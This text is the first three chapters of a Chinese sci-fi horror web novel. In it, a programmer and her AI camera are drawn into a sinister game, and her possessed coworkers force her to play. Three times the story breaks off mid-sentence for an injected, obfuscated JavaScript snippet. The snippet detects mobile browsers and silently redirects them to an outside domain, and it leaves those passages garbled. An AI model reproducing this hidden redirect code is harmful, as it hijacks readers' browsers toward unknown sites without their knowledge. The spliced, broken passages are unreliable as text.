《在赛博世界里拍恐怖片后爆红了》 1. NPC选拔赛一 “再拿不出像样的作品,你这个没出息的导演就给我趁早滚蛋!” 光脑熄灭在人像消失的下一刻,窄小出租屋里的身影慢吞吞抬起头,露出一张略显困倦的脸。 “骊镜,总结下他刚刚讲了什么废话。” 她拍了拍桌子上的摄像机,大大伸了个懒腰,开始用一种出奇热烈的目光研究着室内的陈设。 这是一间小得摆不下衣柜的卧室,却处处透露着一种……荒谬的未来感。 床垫不是棉花的,是坐下去会慢慢变形的记忆金属;窗台上有绿莹莹的韭菜,培养液却是糖精味的;手表样式的通讯设备慢慢熄屏,一条“老板来电,这个月骂我第八次”的便签一闪而过。 虽然如果要把这样一个房子发到星网上分享,会因为过于穷酸被人喷成筛子,但作为一个从地球来的土狗,骊执还是新奇地满眼放光。 被称作“骊镜”的摄像机启动了自己的螺旋桨,“嗡嗡”地飞到她跟前。 “创造者骊执,他的意思是,因为前几部纪录片的扑街,我们现在穷得连下个月房租都付不起,但马上要赔六位数的违约金。” 那里传来一个温和机械的声音,但明显比已经开始尝营养液的骊执少了分冷静。 该怎么给自己找个每天工作25小时的兼职还钱。刚落地星际时代就遭遇主人失业危机的AI,决心负担起养家糊口的重任。 骊执点头,快速梳理了她从光脑得到的信息:“途径零号镇的最近一趟悬浮列车在明早四点半,我们的钱还够买三等座。明天就出发干活,绝对不让我们无家可归。” ……她好淡定,是因为当初开发我的时候,也这么穷吗?骊镜嘀咕了一句,将螺旋桨收回去,降落回桌子上。 骊执在那张小床上躺下,一双灼灼的琥珀瞳透过窗台的韭菜盯着窗外。 远方坐落着一座星辰般闪烁的赛博城邦,各种样式的星舰在那里不断升起降落,接驳着这个世界的超量信息。 而在身边这个拥挤狭隘的贫民窟里,她听到阁楼里那个酗酒男人摔了东西,还有隐隐约约的咒骂声。 过了一会,楼上的夫妻似乎是忍受不了,找上门去对骂,吵嚷声的背景音是远处飞行器降落时的尖啸,两个割裂的世界只剩下了这样的联系。 “创造者,”黑色的摄像机看到她没睡,还是忍不住问了一嘴,“游戏到底为什么要选择我们来到这里呢?” 让地球世界的工程师和她的AI来到这里,来到这个星舰遍地跑、机器人都上四休三的赛博世界,和让远古人拿着矛对付手枪有什么区别。 骊执拍了拍他的头,她还没习惯现在的这个仿生人的身体,动作显得有些僵硬。 “我也不清楚。” “但往前走一步,总比待在原地更接近真相。”她的瞳孔深处划过一串数据流。 楼上的吵嚷声依然不绝于耳,让骊执想起那个“选中”她的游戏,也是这么在地球喧嚣了一个夏季。 “星际漫游,领航全球!” 铺天盖地的宣发点燃这个闷热的夏季,一款以未来科幻为主题的恐怖游戏《身临其境》横空出世,火遍全网。 不论线上还是线下,关于这款游戏的讨论就没停过,让骊执想起嗡嗡作响的服务器散热模块,是种喷出热气的吵闹感。 刚刚结束了项目的技术宅看了眼自己22岁的年龄,又看了看日渐扩大的发缝和完全不懂的新潮流,选择把自己埋进床里咸鱼瘫。 恐怖游戏什么的,还是不要来打扰熬夜加班是常态,天天咖啡当水灌的夜间生物了。 休假的骊执乐得清闲,好好睡了几个大觉。 工作?那是什么? 那是上班的骊执、涨薪的骊执该考虑的问题,不是现在假期的她该考虑的问题。 直到某天,骊执发现她关注的拖更半年的博主更新了,视频中央大咧咧放着《身临其境》的图标,标题是《写给爱科幻的你——它不只是网红游戏》。 “……”这是征兵来了。 她想退出这个广告,但那颗想谴责博主为什么才更新的心,还是压倒了一切。 点开视频,除了满屏的“怎么才来”“奶奶你关注的博主终于更新了”,过于精美沉浸的未来世界图景,还是不可避免地吸引了骊执的注意。 故事发生在不知多远的未来,无垠星域里穿梭着凝聚未来人类智慧的机甲、星舰、空间站。 但拥挤的世界里,也挣扎着在这个时代滚打摸爬的灵魂。 不同社会地位的人们过着截然不同的生活,有人拿千金难买的美酒浇花,有人连果腹的营养液,都要靠捡垃圾桶里别人剩的半管。 悬殊到荒谬,客观到黑暗。 玩家可以选择任意身份加入其中,体验当地生活的同时搜集出现的离奇线索,并在最后迎来考验——由一个NPC的死亡触发副本大逃杀,通过搜集的线索和队友一起逃命,解开诡异背后的秘密。 骊执甚至注意到这种用生命开展故事的倒霉NPC有一个特殊的称号——死亡触发型NPC。 “要是这个NPC不死会怎么样?怪物就不会出来?”她敲下了一条评论。 博主很快回复她:“也不是没有这种情况……这种NPC,是最早知道故事真相的。” “……” 博主前言不搭后语,骊执有些不解。 “最早知道故事真相有什么好处吗?” 博主隔了好一会才回复她。 “她的眼睛成为大家的眼睛,她的耳朵会成为大家的耳朵。” “直到……她也成为故事本身。” 骊执再想问什么,却发现这条评论已经被博主删除了。 “……”一种难以言喻的寒意顺着脊椎爬了上来,她摇了摇头,把这种莫名其妙的感觉归咎为,拖更半年后博主精神不稳定了。 抛开博主莫名其妙的回复和怪物不谈,游戏里各种科技的确很有意思,各种科学的想象一点也不出戏。 骊执咬了一口冰镇西瓜,正看得上头,画面切到一个从熬夜加班的程序员电脑里爬出来的怪物—— “啪”。 她合上了电脑。 这个游戏不好。骊执默默把空调温度调高。 尤其这种,从她这种苦命程序员电脑里爬出来的怪物,尤其不好。 《身临其境》没有和蝉一样只响一个夏天。 新工作提上日程,骊执被邀请代表公司参加的技术展会,顺便散心。 回程路上,大屏上投放着《身临其境》的广告,一台流线型的新式飞船正穿过浩渺的星云,男女主正在飞船上享用晚餐,显示屏清晰地能看到飞行轨迹。 骊执看得津津有味,仿佛真如游戏名所说的那样,“身临其境”这个赛博空间。 刚回到公司,骊执便被格外热情的同事迎了上来。 “骊姐,最近游戏的新活动,好不好玩?” 骊执皱了皱眉头。 她参加工作是挺早,大学期间就在当时规模还小的这家公司实习,但眼前站着的是公司的半个创始人…… 以及,什么游戏?这是在说她在合理的休假时间消极怠工? 她摆出一个无懈可击的笑容:“老师这是哪里的话,‘棱镜’刚刚交付我就去了医院,医生说再晚去两天,就不只是挂三天吊瓶这么简单了…… “老师这是要怪我忘记跟新客户对接啦?” 她甩了甩手,摆出一副无辜样:“我只会闷头干技,具体的对接流程,还没同步到我这呢……” 棱镜正是骊执这些年牵头并架构的项目代号,主要成果之一,是冠有她姓氏的通用型AI——骊镜。 同事摇了摇头,黑洞洞的眼睛凑得很近,仿佛要在她身上盯出个窟窿:“你是我带出来的我放心,我什么时候担心过你工作上的事?” 那目光粘稠得让人不适,骊执的脸瞬间冷了下来。 “离远点。” 同事似乎这才意识到自己的动作有些不妥,讪讪地道了歉。 “《身临其境》的最新副本不是个摄影活动吗,你看到咱们公司的logo了吗?”这位曾指导过她电脑开机键在哪里的“老师”并不在意刚刚的插曲,“猜猜自己有什么新任务?” ……这个“游戏”原来指的是《身临其境》?骊执隐约觉得有哪里不对劲,他为什么会默认她在玩这个游戏? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375980|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但她面上不显:“我要带着骊镜去跟游戏那边对接?” 同事呵呵一笑,眼里闪着异样的激动:“我也是刚刚听说的。骊镜就是争气……我们骊姐也是,好好干!” 骊执回到自己办公室,盘算着刚刚那近乎诡异地交流。 路上碰上的不少同事,几乎所有人,言谈之间都是这款游戏。 那些炽烈的目光近乎入魔,有的人甚至和旁边人聊的过于激烈,险些撞上她,冲她抱歉地笑笑。 十分有十二分的不对劲。 骊执皱着眉头,框定了几个关键词,将近期的相关网页喂给骊镜整理。她从不在自己休假的时候接触过多外部信息,所以等骊镜反馈过来无数标识着“爆”的热搜词条时,一股凉意攀上了心头。 她点开一个网页。 那算不上是一个主流媒体,但粉丝量惊人。关于《身临其境》赞美之词热情到近乎偏执,评论更是清一色的“旷世神作”“有生之年”。 下一页,流水线般的宣传不要钱地充斥着作品和评论区,再往下翻依然是如此盛况。 根据骊镜反馈过来的消息,市面上甚至没有关于这部游戏的负面评价! 骊执放下鼠标,一股寒意攀上心头。 ……公关能力再强,怎么可能一点意见都没有呢? “嗡嗡——”工作账号传来消息,她的新任务是前往《身临其境》所在的游戏公司,提供人工智能辅助决策方面的技术支持。 发送消息的人一改往日的商量态度,压根就没思考过她会拒绝,言辞之间净是对她有机会和游戏展开合作的羡慕。 骊执接起电话。 “他们现在才把地址给我!你猜怎么着,就在市郊,就离咱们公司有半小时车程……” 骊执懒得细听即将到来的关于游戏的夸赞,规划好下午的对接时间,开始下载游戏。 以防她也变成那狂热群体的一员,她让骊镜每隔十分钟提醒一次自己是谁,要干什么。 “收到,创造者。你是棱镜项目组负责人骊执,要验证一个名叫《身临其境》的网红游戏是不是有什么成瘾机制。” 新生的人工智能并不完全理解她想做什么,命令行里的对话框却一直闪烁着。 骊执叹了口气。 最好仅仅只是个网红游戏。整的一群玩家跟中邪了似的。 加载界面是一架黑沉沉的星舰,正在无垠宇宙里航行。 骊执的目光被飞船的飞行轨迹吸引,穿过造型奇特美丽的星云,飘带般优雅的小行星带。 加载用了很长时间,长到骊执有些犯困,几乎记不清眼前的飞船绕这一块星系转了几圈。 “咚咚——” 骊执骤然睁大眼睛。 飞船上不知道什么时候开始出现了一个人影,只有一个大概的轮廓,看不清脸。 这个人正趴在正对她的这面窗户上,轻轻敲了敲玻璃。 “创造者,一切是否正常?请回答我的问题,你是谁,你要做什么?” 命令行里准时传来骊镜问候,骊执一边快速回答,一边继续观察着眼前的异动。 人影被飞船载着离她越来越近,以一种极其诡异的姿态敲击着那块玻璃,像是新生的婴儿,不会熟练应用自己的身躯,脖颈,腰部,肩胛骨……一切可以活动的部位都被扭曲着用来敲击,“咚咚咚——”声音像是越来越大的雨点落地。 骊执雷达狂响,把手按在了电源插销上。 终于,身影来到了骊执的屏幕前。 黑色的头盔闪烁了一下,缓缓输出一行和这个诡异场景格格不入的表情。 是一个粗糙到近乎滑稽的笑脸。 “嗯?用头盔做表情……原来你没有脸啊。”骊执毫不客气地评价道,好整以暇地看着试图用鬼脸威胁她的存在,眼底的温度逐渐变冷。 意识到骊执的目光后,那个笑脸的微笑弧度更大了,它停下了一切别的活动,抬起已经撞出裂缝的头盔—— “咚咚——” 在头盔撞碎玻璃冲向她屏幕的一瞬间,骊执“啪”地一声拔了插销。 “咔嚓——” 那是一声清晰的,玻璃破裂的声音。 2. NPC选拔赛二 像是拙劣老套的恐怖片剧情,诡异的生物试图从屏幕里面爬出来——然后被骊执的断电攻击揍回了往外探的头。 骊执拿了根笔戳了戳碎掉的、但确实没有什么诡异的东西爬出来的屏幕,按下鼓噪的心跳。 她并不确定那到底是游戏cg还是某种不可言说的东西,但她很确定自己电脑一直都是静音模式,那莫名其妙的咚咚声响起时,屏幕的细微震颤让她感觉凉意直冲脊梁骨。 那东西撞碎玻璃的时候被划破了外壳,类似机甲的外壳大概是某种硬度高韧性差的金属做的。 她定了定神,打算去茶水间接点温水润润嗓子——她暂时也不想离那个死游戏那么近了。 沿途关于《身临其境》的讨论从四处传来,像是蚊子开大会。骊执面无表情地略过一个又一个艳羡到粘稠的目光,在茶水间门口站住了。 “一个公司的人都盼着这样的机会,就她没在游戏官方粉丝群里,还就她被那边选上了!” “哼,搁那拽的不行,鬼知道她那ai能……” 骊执听了一会,推门进来。 她的脸上挂着茶水间的人熟悉的、滴水不漏的微笑。 “能被《身临其境》的公司选中,也是项目组大家共同努力的结果。” 骊执没心思和那些人扯皮。 很显然,她的同事们因为那个游戏集体中邪。就算平常真的有对她不满的人,也不该这么犯蠢在茶水间这种地方嘀咕。 在据说去上厕所的同事路过她第四次后,她认为,比起抒发嫉妒这么没营养的目的,这些或隐晦或直白的目光,更像是在……监视她。 在让她成为话题的焦点,一举一动都被放大、观察。 “滴答——” 出来透气的同事余光一直瞥向她,浇绿萝浇到水溢出来。骊执装作没看到,旁若无人地靠在墙边,掏出手机。 “我要请假,家里着火了。”她扯了个理由,假条发送成功的那一刻,原本只用余光打量她的同事像是闻到了血腥味,一双双黑洞洞的眼睛直直地看向她。 骊执不再犹豫,晃悠到公司门口附近后突地向外跑去,平常懒洋洋的胖保安在她夺门而出的前一秒出现,眼神是同样让人脊背发凉的黑,机械重复道:“上班时间,请回到办公室参加游戏。” “上班时间,请回到办公室参加游戏。” 一个办公室的门被打开,接着是第二个、第三个。 同事们从各自的工位里走出来,黑压压将她围了一圈,生硬地一齐重复这句话。 “上班时间,请回到办公室参加游戏。” 一双双眼睛钉在她的身上,让人无处遁形。 骊执试图从这个越收越紧的包围圈里找到破出的路径,却一无所获。 硬闯是不可能了。 骊执点头,像模像样的被压着往楼上走,时不时还低下头看两眼手机,一副忙着回复工作的样子。 求援电话拨不出去,网络也被切断。 手机没信号,走到哪里都没信号。 最后她来到自己的办公室,转身的一刻反锁了门,冲到自己办公桌上拿起手机支架。 门外的同事们似乎不理解她在做什么,靠在门最前面的是保安和茶水间的人,他们“咚咚”地拍着玻璃,力度一下比一下重,重复着那一句,“请打开游戏。” “请打开游戏。” 门口传来越来越多的脚步声,骊执来不及思考,伏在窗户上用支架把手机伸出去查看信号。 调整支架的瞬间,手机被她误触了拍照模式。 “咔嚓——” 照片定格在她冷汗津津的脸上,瞳孔里倒影出手机上的画面——门已经被撞开,她的身后,是一张张面无表情、死死盯着她的人脸。 仿佛把人扔到洗衣机甩干的眩晕袭来,骊执强忍着喉咙里翻涌上来的恶心,再次睁开眼,她已经换了一身类似宇航服的装备,带着一个厚重的黑色头盔,坐在某个似乎有自动驾驶功能的宇宙飞船里——飞船相当平稳地运行着。 她的驾驶位旁边坐着一个头盔上是歪歪扭扭的邪恶笑脸的人,正往她这一侧的窗户走去。 这个人走路的方式极其诡异,扭曲的样子像个大叫着挣脱主人手法的面人,全身上下的任何一个部位都有可能在下一秒发力、向前突出,哪怕隔着头盔,骊执也感觉到那和这家伙的身体一样扭曲的目光,黏在她身上。 飞船、头盔、诡异笑脸…… 骊执就是再迟钝,也不可避免地想起刚刚打开《身临其境》时那个让她寒毛倒竖的登录界面,想起那张和眼前的头盔上一模一样的、有着血红口唇的笑脸。 在把目光投射到骊执身上后,面人迅速转换了自己的目标。那颗因为走路姿势不对劲而摇摇摆摆的头颅瞬间被掰直,发出令人牙酸的咔咔声。 这让骊执想起案板上挣扎的长条死鱼,被从中间腰斩后也是这样,鱼头发出“咔吧”一声后扭曲,咬向正在宰鱼的人。 “锵——” 面人的拳头将骊执这边的操作台砸出一个深坑。 骊执一边估计着防守怪物的方位,一边快速审视着这艘飞船内部。 空间着实算不上大,左右是完全对称的构造,一模一样的驾驶位和嵌入式的操作台,光屏上是频闪着的目的地。 目的地是……尼特星?骊执突然记起同事发来的文件,这好像是《身临其境》新活动的所在地。 来不及细想,面人的胳膊长矛一般朝她突刺过来,骊执敏捷地侧身,膝盖撞到船舱发出闷响。 她再次翻身,在驾驶位座椅后方躲过第三次攻击。怪物的力气大得惊人,她毫不避讳地直视它的身躯,快速扫视可能存在的破绽点。 不能直接硬碰硬,她在办公室登录的时候观察过,面人表面的机甲是能打破宇宙飞船舷窗的坚硬。 似乎是被骊执的目光激怒,面人在一刹那间好像变成了真的面人,肩胛骨吊诡地扭曲到不可思议的地步,金属手臂从关节处爆发出近乎折断的劲头,死死抓住了她的胳膊,力度大到骊执的整条胳膊的力气几乎都被抽走。 被卸力的怒火激起了沸腾的肾上腺素,骊执猛地前扑带起两个人的踉跄,剩下的那条胳膊狠狠攻向扭曲的脖颈处。 “咔嚓。” 头颅被骊执打得偏斜,脖颈处绽出裂缝,面人关节的连接处出乎意料地没有被合金咬死,反倒像是……被某种粘合剂粘上的。 “咔嚓!” 剧痛来袭,骊执分不清那是自己骨裂的声音还是面人脖颈断开的脆响,毫不犹豫又是一击—— “创造者,一切是否正常?请回答我的问题,你是谁,你要做什么?” 骊执猛地扭头看向传出声音的地方,她所在的操作台上,突然多了一台纯黑色的摄像机。 ——是件趁手的硬质武器。 被钳制的左臂终于使上力气,狠狠掰向那扭曲的肩胛骨,卸掉了没粘牢靠的一只金属胳膊,“我是骊执”,一阵强过一阵的剧痛压在她向摄像机伸出的手臂上,“我要……通关这个该死的《身临其境》。” 摄像机的镜头在骊执出声的那一刻起就锁定了她,黑色机身歪歪斜斜地朝着骊执的手冲过来。 来不及犹豫,一种被这智障游戏戏耍的愤懑,让骊执在面人试图反抗的那一刻就利落出招,咬紧牙关抄起摄像机打掉了最后藕断丝连的头。 失去了头颅的面人漏出内里,那里是没有血肉,漆黑的、看不见任何支撑物,剩下的身躯似乎在一瞬间就失去了功能,不动了。 骊执狠狠踩碎了那个画着邪恶笑脸的头盔。某种硬而脆的金属碎裂后,里面轻飘飘的没有实物。 “我说是什么。”被震麻的脚踝仿佛和泵动血液的心跳同频震动,“是一个连存在都不配被看到的空壳。” “滴——欢迎玩家骊——滴——系统更正,支线任务意外触发。” 空旷的自动驾驶飞船里,一个机械的、分辨不出男女的声音打断了正在研究这幅破烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375981|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躯壳的骊执。“咔嚓——”第二条面人胳膊被她卸下当作右手的武器,她侧耳听了一会,很快锁定了架在飞船右舷窗玻璃上方的,一个刚刚绝对不存在的人耳形状的装置。 ‘“玩家骊执,打断死亡触发型NPC出生进程,完成支线任务,达成替代条件。获得身份:活动“摄影大师”初始剧情点死亡触发型NPC。” 替代? 还成了……开局就要领盒饭的死亡触发型? 骊执看着这个像是两个人耳拼接在一起的装置,隐约有了猜测。 这里只有唯二的两个“人”,这里她替代的,大概是指已经被她大卸八块的面人。 面人曾经的身份,是这个所谓的死亡触发型NPC,打断出生进程……应该是指她在面人成长为游戏所用的NPC前就被她击杀,这也能解释为什么手臂这么有力量的一个人,关节连接处是脆弱的粘合剂——因为身体还没长全。 当然,没有说它脑子长全了的意思。 “系统更正,副本NPC骊执登录成功,即将投放尼特星星枢C区贫民窟。” 是屏幕上显示的飞船的目的地。骊执面无表情地拎着两条面人胳膊走过去,一边注意着人耳装置的异动,一边向外看去。 “滴——地球玩家实时在线人数3854万,预计跨时空飞船通行时间,3分钟。” 时空仿佛在那一瞬间跃升到一个全新的量级,某种粘稠的流质空间里,是各式各样的、密密麻麻的飞船,像某种铺天盖地出现的蝗虫,机械生硬地前往同一个方向收割它们需要的生存资源。 飞船的形状不符合骊执想象中星际世界里星舰的模样,各有各的奇形怪状。 骊执抬眼看了一下自己头顶的人耳装置。 周围临近的飞船……好像和发出声音的装置一样,是两个人耳挨得极近,长在了一起。 骊执思考了一下,贴近了舷窗,模仿着脑海里电脑屏幕上的生物,用面人胳膊的肘关节轻轻敲击了一下。 下一秒,无数看不见内部构造的飞船上,舷窗上突兀出现了一些模糊的黑色影子。 与此同时,无数地球玩家的登录界面上,一个同样模糊的黑色影子闪现,电脑屏幕上传来细微的“嘭”一声,像是被什么金属轻轻敲了一下。 “嗯?”有个等登录界面等得犯困的玩家模模糊糊地嘀咕,“我记得我静音了啊。” 飞船这边,骊执专注地观察着其他奇怪形状飞船的几个黑影,又隐约猜出了不分左右脚的双脚,从关节处断裂的双臂。 它们在骊执发出响动的那一刻就活络起来,临近几个耳朵形状的飞船甚至也做出了敲窗的动作,但也仅限于此了。 前方即将到达一个闪着光的狭窄通道,各式各样飞船的轨迹从平行变得聚焦,像某个巨大的子弹,向通道进发。 “……” 被顺手扔在一堆废旧零件里的摄像机有些无奈。 他刚刚被某种力量蛮横的从数据库里抽离出来,好消息是拥有了一个实体的身躯,坏消息是被他的创造者当成板砖砸了出去——虽说也是他检测到自身材质强度特殊所以主动请缨飞到人手里,可是创造者这样做属于是—— 他思考了一下。 用完就丢。对,这是数据库里最符合这个现象的词。 如果他是一个人类,他现在应该试图和创造者交流,表达这种大概名为不满的情绪。 可是他不是人类。是人工智能牌的摄像机。 ……不过没人说摄像机不能有情绪。 他试图开口,观察完了的骊执却摆出了一个制止的手势,指了指飞船上的耳朵装置。 “骊镜。”他看到她的嘴巴一张一合,准确无误地比出了这个口型。 “……” 骊镜收回了那莫名其妙地情绪数据流。安安稳稳地停在那里,不做声了。 是我。是虽然来到陌生的地方,但终于脱离程序限制,见到真实的你的我。 创造者,好久不见。 3. 零号村庄暴雪夜一 “正在前往尼特星,预计用时:30秒。” 骊执放下面人的金属胳膊,一面走过来拎起摄像机,一面注意着人耳装置的异动。 她记得,她“穿越”到此的契机,是手机拍到了她和不正常的同事。 而摄像机最初寻找她时,也拍到了她和面人,但这个时候,周围并没有出现什么异动。 骊执抬起相机检查损伤,相机漆黑的外壳完好无损。 那么,拍摄她、拍摄到什么不正常的存在并非产生异变的原因,或者说,不只是产生异变的原因。 对比没有信号的手机和眼前的摄像机,联系恐怖游戏本身,手机唯一和它有多余瓜葛的地方,在骊执回复工作时无可避免留有的关于《身临其境》的讨论痕迹。 或者说,手机已经被《身临其境》的信息“污染”,和同事们一样“中邪”了。 至于长在游戏飞船里的诡异耳朵发声器,本就和《身临其境》同根同源,受污染的程度就可想而知了。 骊执静静地看着倒计时逐渐归零。 如果被“耳朵”听到,代价不一定是她能承受的。 与此同时,在她的斜对过,一架同样耳朵形状的飞船里。 手脚发软的男人看着贴在舷窗上一动不动的面人,正努力把自己缩在驾驶位后面。 操作台的倒计时在均匀减少,他死死盯着那个数字,仿佛这样就能从溺毙一般的恐惧中求得喘息的空隙。 “滴——系统提示,飞船编号耳朵一号,玩家骊执已完成副本任务成为NPC,身临其境NPC选拔赛达到赛点!”指甲划过金属般的刺耳播报声响起,因为心仪参赛者的成功而染上癫狂的热度。 “请用手机将自己和面人置于同一镜头下,拍照后将开启副本任务!” 舷窗上方的耳朵装置响起和游戏内别无二致的系统提示音,将最后一丝呼吸的气孔震碎,男人终于忍受不了这凌迟一般的折磨,带着哭腔破口大骂。 “她凭什么!凭什么她能被你们选中,受到你们一而再再而三的认可!” 耳朵装置静静地听着他崩溃的嘶吼,并不理解这个人类为什么这般疯狂。 耳朵甚至想出声提醒他,他的参赛资格、甚至活命的机会,也是因为他在骊执进副本前污染了整个公司,完成了将骊执引入副本的工作。 “凭什么她叫我老师,她却能比我先完成任务!她一个连爸妈都没有的穷鬼凭什么被你们——” “咔嚓。” 教过开机键在哪里的“老师”瞪大了通红的眼睛,迟钝地一点点往下看—— 金属的手掌一点点在他脖颈处收紧。 面人头盔上幻化出一个哭脸。 “感谢您在登录游戏后发挥了您耳朵的功能,窃听了我们对骊执导演的喜爱,在面人击杀您之前选择跟我们合作,自告奋勇回到地球,在我们的种子选手进入游戏前进行了引导工作。” “嗬嗬——”扭曲的脖颈已经发不出人声,嗓子好像黏住了厚重的沙粒:“商量好的——我将听到的散播出去——” 头盔上的哭脸扭曲得更伤心了,眼角有粘稠的冷凝液滑落。 “您做的很好,只不过在把自己耳朵听到的传递给别人的耳朵时,将我们的导演扭曲成靠不正当手段上位的人。” “放心,您造成的错误已经被修正,您的同事们现在已经恢复正常,他们眼里的架构师骊执只是因病休假,暂时不能回来。” “至于你——” 男人没有回答。 手下的脖颈颤动的频率像某种即将坏死的老旧终端,频闪着不甘的喘息。 “你的耳朵不适合再留在这里了,来当我的养料吧。” 人耳装置松开了钳制自己的特制螺丝,“噗通”落在他的耳朵上。 像某种机械生命进食前鼓噪的心跳。 飞船倒计时归零,骊执再次经历了高速旋转的离心机般的眩晕,这次她努力睁开眼睛看向四周,只得到扭曲的、大脑无法解读的光影变换。 “导演骊执,欢迎您和您的人工智能助手加入《身临其境》,恭喜您成为死亡触发型NPC,前置记忆塑造中……” 机械生硬的声音染上了诡异而满足的颤音,仿佛吃饱的凶兽,惊喜地迎接着下一个更美味的食物。 “期待你们……能用自己的死亡,让故事被更多人听见,吸引更多目光。” 骊执猛地睁眼,她正躺在一张窄小得容不得翻身的床上。 飞船上的一切记忆像是一场过于跌宕的梦境,在大脑中被人用颜料涂抹掉,又重新被看不出颜色的笔触勾画出一些本不属于她的记忆。 机械声音的宣布下,她的新身份是这个游戏世界里一个无足轻重的仿生人。 在这个高速发展的世界里,文化作品找不到扎根的土壤,贫瘠而空泛。像是记忆金属里长出来的机械花,硬邦邦地折射着最高层的霓虹灯光,但折射的光照不到底层的昏暗。 若干年前,众星联邦为丰富星际公民的精神世界,研制出一批专门创作文娱作品的仿生人。 骊执打开一台遍布灰尘的终端,摸索着找到了当年“她”参与的痕迹。 《培养韭菜的溶液是甜的很好吃》《屋子里应该住一个人因为太小了》 骊执:“……” 她又翻了翻同僚们的“大作”,得出结论——就不该指望一个诡异游戏的系统给她安排什么有价值的背景。 不凑巧的是,这批仿生人被创造出后不久,就爆发了为期十几年的星际战争,不能上阵杀敌的文娱仿生人自然被封存。直到半年前局势逐渐平稳,这批仿生人才被重新启用,用作灾后精神世界的重建。 不知是不是吸取了上次的教训,联邦将这批仿生人进行了升级,外表和平常人类别无二致后投入到人类的各行各业去,试图让仿生人从真实生活中取材,从而让作品不那么……超脱现实。 不过,高层研发的仿生人似乎依然没有集成任何文艺细胞。 这么说吧,骊执现在的身份,是一名三部作品连续扑街的纪录片导演。 骊执敲了敲自己右手上的那颗痣,又摸了摸自己隐隐作痛的脖颈。 这还是她的身体,她的外表和病痛并没有随着她的新身份变动。 不同的是,皮肤下生长的不再是泵动着的血液,骊执仔细听,是能源管道温和传输着的流淌声。关节处人造皮肤薄弱的地方,敲击能听到“铮铮”的金属碰撞声——手指大概是强度更高的金属骨骼,通过传感器传来的关节的震颤,但手指本身并没有多余的感受。 骊执新奇的左摸摸右看看,她拿起一面满是灰的镜子照了照,镜子的裂纹里,那双依然通透炽烈的琥珀瞳里,透出一行微小的数据流。 胸口的位置,暖融融的能量核心代替了心脏,频闪了一下。 “创造者。” 骊执转过身,伴随她来到异世界的人工智能助手也换了身装扮,只不过比她还惨——她还勉强算人,眼前的骊镜连品种都改了。 黑色的摄像机笨拙地转过身体,露出后端的屏幕。 等待了几秒,一行只有骊执知道的秘钥在上面闪现,向她再次证明着自己的身份。 “我的数据库里找不到我现在是什么材质,我刚刚连接了星网,也没有查到到底是什么。” 他顿了顿,“不过很坚固就是了。毕竟,你试过了。” 骊执愣是从这毫无情绪起伏的声音里听出了一丝埋怨。 她装作没听懂他的言外之意,正色道:“人工智能小助理,在这里,会说话会走路的摄像机常见吗?” 骊镜检索了一下。 “不常见,这个世界的文化产业是相对落后的,目前并没有和我一样智能的摄像机,”骊镜顿了一下,“创造者的意思是要求我们出去拍摄的时候,不能像现在一样和你对话吗?” 骊执点头,“其他人在场的时候安心被我拎着,当作我们两个只是普通的导演和摄像机的关系。” “滴滴——” “老板“字样的通讯申请闪烁在左手手表样式的光脑上,点击同意后,一个满脸横肉的中年男人怒气冲冲地蹦了出来,刚换的金色义眼闪着金光。 骊执利落地把头一低,身后的手暗示地敲了敲摄像机,示意她先眯一会,骊镜记得听。 “系统内部时钟播报:起床状态激活。” 凌晨三点,骊执准时从待机状态醒来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375982|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的身体内部集成了基本的联网和计时功能,可以用程序设定闹钟。 没有起床气的感觉很好,只有一种代码运行顺利的畅通感——虽然她现在并不确定自己的脑子有没有被改造,她的情绪感受是模拟的还是她自己的。 意识到她醒来的摄像机晃悠着飞过去敲开灯,骊执则走过去拉开窗帘。 “这里下雪了。” 窗外不知什么时候变了色彩,昏暗灯光的映射下,纷纷扬扬的雪花从天际落下,“噗”地打向窗户。 楼上隐约传来人们起床的响动,带着不甚清晰的、似乎是被冻醒的埋怨。 远处的赛博城邦有基本的保温屏障,并没有被积雪覆盖,依然闪烁着华光。 而贫民窟的雪好像比别的地方更大,也更冷。冻得这里的人要更早起来,思考这个冬天的活路。 “创造者,通讯录里“老板”的话你不用在意。” 骊镜看着坐上悬浮车后异常沉默的骊执,检索了近期的所有输入信息,找到了他所认为的导致情绪不高的根源,靠在她耳边小声说道。 骊执很轻地弯了弯眉眼。 三等座的位置狭小而拥挤,她将浸着不知名污渍的窗帘拉开,林立的摩天大楼灯火通明却染不了雪,各式飞行器的影子被映照到昏暗的、到处是泥水的脚印的车厢里。 她并不是在意那个所谓老板的话——退一万步讲,她现在的身份是系统捏造的,之前的一切纷扰都和她没关系。 只是。 光脑上实时推送着摄影大赛的宣发广告,和之前在地球上《身临其境》的宣发里看到的别无二致。 